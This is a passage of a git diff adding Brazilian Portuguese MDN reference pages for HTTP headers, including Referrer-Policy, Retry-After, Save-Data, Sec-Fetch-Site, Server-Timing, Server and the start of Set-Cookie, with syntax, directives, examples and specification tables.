+<h2 id="Compatibilidade_d_e_navegador">Compatibilidade d e navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Referer")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer no Wikipedia")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/referrer-policy/index.html b/files/pt-br/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..b57a57a0a1 --- /dev/null +++ b/files/pt-br/web/http/headers/referrer-policy/index.html @@ -0,0 +1,257 @@ +--- +title: Referrer-Policy +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Referencia + - Referrer-Policy + - Resposta + - privacidade +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O cabeçalho HTTP <strong><code>Referrer-Policy</code></strong> controla quanta <a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informação de referência</a> (enviado pelo cabeçalho {{HTTPHeader("Referer")}}) deve ser incluída nas requisições.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<div class="blockIndicator note"> +<p>O nome original do cabeçalho {{HTTPHeader("Referer")}} é um erro ortográfico da palavra "referrer". O cabeçalho <code>Referrer-Policy</code> não compartilha do mesmo erro ortográfico.</p> +</div> + +<pre class="syntaxbox notranslate">Referrer-Policy: no-referrer +Referrer-Policy: no-referrer-when-downgrade +Referrer-Policy: origin +Referrer-Policy: origin-when-cross-origin +Referrer-Policy: same-origin +Referrer-Policy: strict-origin +Referrer-Policy: strict-origin-when-cross-origin +Referrer-Policy: unsafe-url +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>no-referrer</code></dt> + <dd>O cabeçalho {{HTTPHeader("Referer")}} será omitido completamente. Nenhuma informação de referência será enviada junto com as requisições.</dd> + <dt><code>no-referrer-when-downgrade</code> (padrão)</dt> + <dd>Este é o comportamento padrão quando nenhuma política é especificada, ou se o valor provido é inválido. A origem, caminho e cadeia de consulta ({{glossary("origin")}}, {{glossary("path")}}, and {{glossary("querystring")}}) da URL são enviadas como referência quando os níveis de protocolo de segurança continuam os mesmos (HTTP→HTTP, HTTPS→HTTPS) ou melhora (HTTP→HTTPS), mas não é enviado para destinos menos seguros (HTTPS→HTTP). + <div class="note">Existe um esforço dos navegadores em mover para um valor padrão mais estrito, chamado de <code>strict-origin-when-cross-origin</code> (veja <a href="https://github.com/whatwg/fetch/pull/952">https://github.com/whatwg/fetch/pull/952</a>), considere usar este valor (ou um mais estrito), se possível, quando trocando a Referrer-Policy.</div> + </dd> + <dt><code>origin</code></dt> + <dd>Somente envia a origem ({{glossary("origin")}}) do documento como referência.<br> + Por exemplo, um documento em <code>https://example.com/page.html</code> irá mandar a referência <code>https://example.com/</code>.</dd> + <dt><code>origin-when-cross-origin</code></dt> + <dd>Envia a origem, caminho e cadeia de consulta quando performando uma requisição {{glossary("Same-origin_policy", "same-origin")}}, mas somente envia a origem do documento em outros casos.</dd> + <dt><code>same-origin</code></dt> + <dd>A referência será enviada para <a href="/en-US/docs/Web/Security/Same-origin_policy">origens do mesmo site</a>, mas requisições entre origens não enviarão informação de referência.</dd> + <dt><code>strict-origin</code></dt> + <dd>Envia somente a origem do documento como referência quando o nível de protocolo de segurança se mantém o mesmo (HTTPS→HTTPS), mas não o envia para um destinatário menos seguro (HTTPS→HTTP).</dd> + <dt><code>strict-origin-when-cross-origin</code></dt> + <dd>Envia a origem, caminho e cadeia de consulta quando performando uma requisição de mesma origem, somente envia a origem quando o nível do protocolo de segurança se mantém o mesmo durante uma requisição entre origens (HTTPS→HTTPS), e envia nenhum cabeçalho para destinatários menos seguros (HTTPS→HTTP).</dd> + <dt><code>unsafe-url</code></dt> + <dd>Envia a origem, o caminho e a cadeia de consulta quando performando qualquer requisição, independente da segurança. + <div class="blockIndicator warning"> + <p>Esta política irá vazar informações potencialmente privadas da URL HTTPS do recurso para origens inseguras. Considere o impacto desta configuração com cuidado.</p> + </div> + </dd> +</dl> + +<h2 id="Integração_com_HTML">Integração com HTML</h2> + +<p>Você também pode colocar política de referência dentro do HTML. Por exemplo, você pode colocar uma política de referência para o documento inteiro com um elemento {{HTMLElement("meta")}} com um <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">nome</a> de <code>referrer</code>:</p> + +<pre class="brush: html notranslate"><meta name="referrer" content="origin"></pre> + +<p>Ou colocar ele para requisições individuais com o atributo <code>referrerpolicy</code> nos elementos {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, or {{HTMLElement("link")}}:</p> + +<pre class="brush: html notranslate"><a href="http://example.com" referrerpolicy="origin"></pre> + +<p>Alternativamente, uma <a href="/en-US/docs/Web/HTML/Link_types">relação de link</a> <code>noreferrer</code> em um elemento <code>a</code>, <code>area</code>, ou <code>link</code> pode ser colocada:</p> + +<pre class="brush: html notranslate"><a href="http://example.com" rel="noreferrer"></pre> + +<h2 id="Integração_com_CSS">Integração com CSS</h2> + +<p>CSS pode buscar recursos referênciados de suas folhas de estilo. Estes recursos seguem a política de referência também como:</p> + +<ul> + <li>Folhas de estilo CSS externas usam a política padrão (<code>no-referrer-when-downgrade</code>), a não ser que seja sobrescrita por um cabeçalho HTTP <code>Referrer-Policy</code> na resposta da folha de estilo CSS.</li> + <li>Para elementos {{HTMLElement("style")}} ou <a href="/en-US/docs/Web/API/HTMLElement/style">atributos <code>style</code></a>, a política de referência do dono do documento é utilizada.</li> +</ul> + +<h2 id="Exemplos">Exemplos</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Política</th> + <th scope="col">Documento</th> + <th scope="col">Navegar para</th> + <th scope="col">Referência</th> + </tr> + </thead> + <tbody> + <tr> + <th><code>no-referrer</code></th> + <td>https://example.com/page</td> + <td><em>qualquer lugar</em></td> + <td><em>(sem referência)</em></td> + </tr> + <tr> + <th rowspan="3"><code>no-referrer-when-downgrade</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(sem referência)</em></td> + </tr> + <tr> + <th><code>origin</code></th> + <td>https://example.com/page</td> + <td><em>qualquer lugar</em></td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="2"><code>same-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td><em>(sem referência)</em></td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(sem referência)</em></td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td><em>qualquer lugar</em></td> + <td>http://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(sem referência)</em></td> + </tr> + <tr> + <th><code>unsafe-url</code></th> + <td>https://example.com/page?q=123</td> + <td><em>qualquer lugar</em></td> + <td>https://example.com/page?q=123</td> + </tr> + </tbody> +</table> + +<h3 id="Especificando_uma_política_de_recuo_fallback">Especificando uma política de recuo (<em>fallback)</em></h3> + +<p>Se você quer especificar uma política de recuo em qualquer caso que a política desejada não tenha um grande suporte do navegador, use uma lista separada por vírgulas com a política desejada especificada por último:</p> + +<pre class="notranslate">Referrer-Policy: no-referrer, strict-origin-when-cross-origin</pre> + +<p>No cenário acima, <code>no-referrer</code> só será usada se <code>strict-origin-when-cross-origin</code> não for suportada pelo navegador.</p> + +<p class="note">Especificar múltiplos valores só é suportado no cabeçalho HTTP <code>Referrer-Policy</code>, e não no atributo <code>referrerpolicy</code>.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Referrer Policy </a></td> + <td>Rascunho do editor</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.headers.Referrer-Policy")}}</p> + +<div class="note"> +<ul> + <li>Da versão 53 em diante, Gecko possui uma preferência disponível em <code>about:config</code> para permitir usuários colocarem a <code>Referrer-Policy</code> padrão — <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li> + <li>Da versão 59 em diante (veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), isso foi substituído por <code>network.http.referer.defaultPolicy</code> e <code>network.http.referer.defaultPolicy.pbmode</code>.</li> +</ul> + +<p>Valores possíveis são:</p> + +<ul> + <li>0 — <code>no-referrer</code></li> + <li>1 — <code>same-origin</code></li> + <li>2 — <code>strict-origin-when-cross-origin</code></li> + <li>3 — <code>no-referrer-when-downgrade</code> (o padrão)</li> +</ul> +</div> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>Quando usando <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li> + <li>A obsoleta diretiva <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span> {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}}.</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Política de mesma origem (<em>Same-origin policy</em>)</a></li> + <li> + <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/retry-after/index.html b/files/pt-br/web/http/headers/retry-after/index.html new file mode 100644 index 0000000000..cc590e0790 --- /dev/null +++ b/files/pt-br/web/http/headers/retry-after/index.html @@ -0,0 +1,80 @@ +--- +title: Retry-After +slug: Web/HTTP/Headers/Retry-After +translation_of: Web/HTTP/Headers/Retry-After +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Retry-After</code></strong> indica quanto tempo o agente de usuário deve aguardar antes de fazer outro pedido de acompanhamento. Existem dois casos principais em que este cabeçalho é usado:</p> + +<ul> + <li>Quando enviado com uma resposta {{HTTPStatus(503)}} (Service Unavailable), indica quanto tempo o serviço deve ficar indisponível.</li> + <li>Quando enviado com uma resposta de redirecionamento, como {{HTTPStatus(301)}} (Moved Permanently), indica o tempo mínimo solicitado que o agente de usuário aguarde antes de realizar o pedido de redirecionamento.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Retry-After: <data-http> +Retry-After: <atraso-segundos> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><data-http></dt> + <dd>Uma data para tentar novamente posteriormente. Veja o cabeçalho {{HTTPHeader("Date")}} para mais detalhes sobre o formato de data HTTP.</dd> + <dt><atraso-segundos></dt> + <dd>Um decimal inteiro não-negativo indicando o tempo em segundos para esperar após a resposta ser recebida.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Lidando_com_uma_indisponibilidade_programada">Lidando com uma indisponibilidade programada</h3> + +<p>O suporte para o cabeçalho <code>Retry-After</code> tanto em clientes quanto em servidores ainda é inconsistente. Apesar disto, alguns indexadores e robôs, como o Googlebot, honram o cabeçalho <code>Retry-After</code>. É útil enviá-lo junto com uma resposta {{HTTPStatus(503)}} (Service Unavailable), assim, os mecanismos de busca poderão continuar indexando o seu site quando a indisponibilidade acabar.</p> + +<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT +Retry-After: 120 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você gostaria de contribuir para estes dados, por favor confira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.headers.Retry-After")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li> + <li>{{HTTPStatus(503)}} (Service Unavailable)</li> + <li>{{HTTPStatus(301)}} (Moved Permanently)</li> +</ul> diff --git a/files/pt-br/web/http/headers/save-data/index.html b/files/pt-br/web/http/headers/save-data/index.html new file mode 100644 index 0000000000..dcb2442a0f --- /dev/null +++ b/files/pt-br/web/http/headers/save-data/index.html @@ -0,0 +1,104 @@ +--- +title: Save-Data +slug: Web/HTTP/Headers/Save-Data +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - Save-Data + - cabeçalho +translation_of: Web/HTTP/Headers/Save-Data +--- +<p>{{HTTPSidebar}}</p> + +<p>O cabeçalho <strong><code>Save-Data</code></strong> é um booleano no qual, em requisições, indica a preferência do cliente para reduzir uso de dados. Isso pode ser por algumas razões como custo de transferência alto, baixa velocidade de conexão, etc.</p> + +<p>Um valor de <code>On</code> indica uma opção explícita do usuário em querer reduzir a quantidade de dados usados no cliente, e quando comunicade para origens permite elas entregarem conteúdo alternativo para reduzir a quantidade de dados baixados como recursos de imagem e vídeo menores, marcação e estilo diferente, desabilitar <em>polling</em> e atualizações automáticas, e assim por diante.</p> + +<div class="blockIndicator note"> +<p><strong>Nota</strong>: Desabilitar HTTP/2 Server Push ({{RFC("7540", "Server Push", "8.2")}}) pode ser desejável para reduzir o <em>download</em> de dados.</p> +</div> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Save-Data: <sd-token></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><sd-token></code></dt> + <dd>Um valor numérico indicando se o cliente quer optar ou não em entrar em modo de utilização de dados reduzido. <code>on</code> significa sim, enquanto <code>off</code> (o padrão) indica não.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>O cabeçalho {{HTTPHeader("Vary")}} assegura que o conteúdo é cacheado apropriadamante (por exemplos assegurando que o usuário não é servido com uma imagem de baixa qualidade do cache quando o cabeçalho <code>Save-Data</code> não está mais presente [<em>e.g.</em> depois de ter trocado de rede celular para Wi-Fi]).</p> + +<h3 id="Com_Save-Data_on">Com <code>Save-Data: on</code></h3> + +<p>Requisição:</p> + +<pre class="notranslate">GET /image.jpg HTTP/1.0 +Host: example.com +Save-Data: on</pre> + +<p>Resposta:</p> + +<pre class="notranslate">HTTP/1.0 200 OK +Content-Length: 102832 +Vary: Accept-Encoding, Save-Data +Cache-Control: public, max-age=31536000 +Content-Type: image/jpeg + +[...] +</pre> + +<h3 id="Sem_Save-Data">Sem <code>Save-Data</code></h3> + +<p>Requisição:</p> + +<pre class="notranslate">GET /image.jpg HTTP/1.0 +Host: example.com +</pre> + +<p>Resposta:</p> + +<pre class="notranslate">HTTP/1.0 200 OK +Content-Length: 481770 +Vary: Accept-Encoding, Save-Data +Cache-Control: public, max-age=31536000 +Content-Type: image/jpeg + +[...] +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-grigorik-http-client-hints-03#section-7">draft-grigorik-http-client-hints-03, section 7: Save-Data</a></td> + <td>HTTP Client Hints</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Save-Data")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://css-tricks.com/help-users-save-data/">Ajude seus usuários a "salvar-dados" (Help Your Users `Save-Data`) - CSS Tricks</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/save-data/">Entregando aplicações leves e rápidas com Save-Data (Delivering Fast and Light Applications with Save-Data) - Google Developers</a></li> + <li>Cabeçalho para indicar que o conteúdo servidor varia por <code>Save-Data</code>: {{HTTPHeader("Vary")}}</li> + <li>Funcionalidade CSS @media <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-data">prefers-reduced-data</a></code> {{experimental_inline}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/sec-fetch-site/index.html b/files/pt-br/web/http/headers/sec-fetch-site/index.html new file mode 100644 index 0000000000..8d583a9364 --- /dev/null +++ b/files/pt-br/web/http/headers/sec-fetch-site/index.html @@ -0,0 +1,85 @@ +--- +title: Sec-Fetch-Site +slug: Web/HTTP/Headers/Sec-Fetch-Site +translation_of: Web/HTTP/Headers/Sec-Fetch-Site +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p>O cabeçalho de busca de metadados <strong><code>Sec-Fetch-Site</code></strong> indica a relação entre a origem do iniciador da requisição e a origem do recurso.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Fetch Metadata Request Header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes, since it has prefix <code>Sec-</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted response header")}}</th> + <td></td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">Sec-Fetch-Site: cross-site +Sec-Fetch-Site: same-origin +Sec-Fetch-Site: same-site +Sec-Fetch-Site: none +</pre> + +<h2 id="Values">Values</h2> + +<dl> + <dt><code>cross-site</code></dt> + <dd></dd> + <dt><code>same-origin</code></dt> + <dd></dd> + <dt><code>same-site</code></dt> + <dd></dd> + <dt><code>none</code></dt> + <dd>This request does not relate to any context like site, origin, or frame. This can happen when user had initiated this request by, e.g. directly entering a URL in the address bar, opening a bookmark, or draging-and-dropping a file into the browser window.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>TODO</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header">Fetch Metadata Request Headers</a></td> + <td>The Sec-Fetch-Site HTTP Request Header</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.headers.Sec-Fetch-Site")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Sec-Fetch-Mode")}}</li> + <li>{{HTTPHeader("Sec-Fetch-User")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Dest")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/server-timing/index.html b/files/pt-br/web/http/headers/server-timing/index.html new file mode 100644 index 0000000000..ff88fe8a52 --- /dev/null +++ b/files/pt-br/web/http/headers/server-timing/index.html @@ -0,0 +1,87 @@ +--- +title: Server-Timing +slug: Web/HTTP/Headers/Server-Timing +tags: + - HTTP + - Performance + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Server-Timing +--- +<p>{{HTTPSidebar}}</p> + +<p>O cabeçalho <strong><code>Server-Timing</code></strong> comunica uma ou mais métricas e descrições para um dado ciclo de requisição e resposta. Ele é usado para dar uma visão superficial de qualquer métrica de tempo do servidor <em>backend</em> (e.g. leitura e escrita de banco de dados, tempo de CPU, acesso ao sistema de arquivos, etc.) nas ferramentas do desenvolvedor no navegador do usuário ou na interface {{domxref("PerformanceServerTiming")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>A sintaxe do cabeçalho <code>Server-Timing</code> permite você comunicar métricas de diversas formas: nome da métrica do servidor somente, métrica com valor, métrica com valor e descrição, métrica com descrição.</p> + +<p>A especificação aconselha que nomes e descrições devem ser mantidas o mais curtas possível (use abreviações e omita valores opicionais quando possível) para minimizar o sobrecarregamento HTTP.</p> + +<pre class="notranslate">// Métrica único sem valor +Server-Timing: missedCache + +// Métrica única com valor +Server-Timing: cpu;dur=2.4 + +// Métrica única com descrição e valor +Server-Timing: cache;desc="Cache Read";dur=23.2 + +// Duas métricas com valor +Server-Timing: db;dur=53, app;dur=47.2 + +// Server-Timing como reboque (trailer) +Trailer: Server-Timing +--- response body --- +Server-Timing: total;dur=123.4 +</pre> + +<h2 id="Privacidade_e_segurança">Privacidade e segurança</h2> + +<p>O cabeçalho <code>Server-Timing</code> pode expôr potenciais aplicações sensíveis e informação de infraestrutura. Considere controlar quais métricas são retornadas, quando e para quem no lado do servidor. Por exemplo, você pode mostrar métricas somente para usuários autenticados e nada para o público.</p> + +<h2 id="Interface_PerformanceServerTiming">Interface PerformanceServerTiming</h2> + +<p>Em adição tendo o cabeçalho <code>Server-Timing</code> de métricas aparecendo nas ferramentas de desenvolvedor do navegador, a interface {{domxref("PerformanceServerTiming")}} habilita ferramentas para automaticamente coletar e processar métricas do JavaScript. Essa interface é restrita para a mesma origem, mas você pode usar o cabeçalho {{HTTPHeader("Timing-Allow-Origin")}} para especificar domínios que estão permitidos de ter acesso às métricas do servidor. A interface está somente disponível em contextos seguros (HTTPS) em alguns navegadores.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{SpecName('Server Timing','#the-server-timing-header-field', 'Server-Timing Header Field')}}</td> + <td>{{Spec2("Server Timing")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Server-Timing")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{domxref("PerformanceServerTiming")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/server/index.html b/files/pt-br/web/http/headers/server/index.html new file mode 100644 index 0000000000..93069ae7aa --- /dev/null +++ b/files/pt-br/web/http/headers/server/index.html @@ -0,0 +1,66 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +translation_of: Web/HTTP/Headers/Server +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <code><strong>Server</strong></code> contem informação sobre o <span id="result_box" lang="pt"><span>software usado pelo servidor de origem para manipular a solicitação.</span></span></p> + +<p><span id="result_box" lang="pt"><span>Valores excessivamente longos e detalhados do Servidor devem ser evitados, já que eles potencialmente revelam detalhes internos de implementação que podem tornar (um pouco) mais fácil para os invasores encontrarem e explorarem falhas de segurança conhecidas.</span></span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Server: <product> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><product></dt> + <dd><span id="result_box" lang="pt"><span>O nome do software ou (sub) produto que manipula as solicitações.</span></span></dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Server: Apache/2.4.1 (Unix)</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Server", "7.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semântica e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Browsers_compatíveis">Browsers compatíveis</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Server")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/set-cookie/index.html b/files/pt-br/web/http/headers/set-cookie/index.html new file mode 100644 index 0000000000..35857d6b4b --- /dev/null +++ b/files/pt-br/web/http/headers/set-cookie/index.html @@ -0,0 +1,167 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +translation_of: Web/HTTP/Headers/Set-Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Set-Cookie</code></strong> é usado para enviar cookies de um servidor para o agente usuário.</p> + +<p>Para mais informações, veja o guia em <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Set-Cookie: <nome-cookie>=<valor-cookie> +Set-Cookie: <nome-cookie>=<valor-cookie>; Expires=<date> +Set-Cookie: <nome-cookie>=<valor-cookie>; Max-Age=<non-zero-digit> +Set-Cookie: <nome-cookie>=<valor-cookie>; Domain=<domain-value> +Set-Cookie: <nome-cookie>=<valor-cookie>; Path=<path-value> +Set-Cookie: <nome-cookie>=<valor-cookie>; Secure +Set-Cookie: <nome-cookie>=<valor-cookie>; HttpOnly + +Set-Cookie: <nome-cookie>=<valor-cookie>; SameSite=Strict +Set-Cookie: <nome-cookie>=<valor-cookie>; SameSite=Lax + +// São possíveis multiplas diretivas, por exemplo: +Set-Cookie: <nome-cookie>=<valor-cookie>; Domain=<domain-value>; Secure; HttpOnly +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><nome-cookie>=<valor-cookie></code></dt> + <dd>Um cookie começa com um par nome-valor: + <ul> + <li>Um <code><nome-cookie></code> pode ser qualquer caractere US-ASCII exeto caracteres de controle (CTLs), espaços, ou tabulações (TAB). Também não deve conter um separador de caractere como os seguintes: ( ) < > @ , ; : \ " / [ ] ? = { }.</li> + <li>Um <code><valor-cookie></code> pode opcionalmente ser atribuido entre aspas duplas e qualquer caractere US-ASCII são permitidos, exceto caracteres de controle (CTLs), espaços em branco, aspas duplas, vírgula, barra invertida e ponto e vírgula. <strong>Codificação</strong>: Muitas implementações realizam codificação URL nos valores de cookie, contudo não é obrigatório pela especificação do RFC. Isso ajuda a satisfazer os requisitos sobre quais caracteres são permitidos para <valor-cookie>.</li> + <li><strong><code>Prefixo __Secure-</code></strong>: Cookies com o nome começando com <code>__Secure-</code> (hífen faz parte do prefixo) precisam ser atribuidos com a flag de segurança e precisam ser de uma página segura (HTTPS).</li> + <li><strong><code>Prefixo __Host-</code></strong>: Cookies com o nome começando com <code>__Host- </code>(hífen faz parte do prefixoprecisam ser atribuidos com a flag de segurança, precisam ser de uma página segura (HTTPS), não precisam ter um domínio especificado (portanto não são enviados para subdomínios) e o caminho (path) precisa ser "/".</li> + </ul> + </dd> + 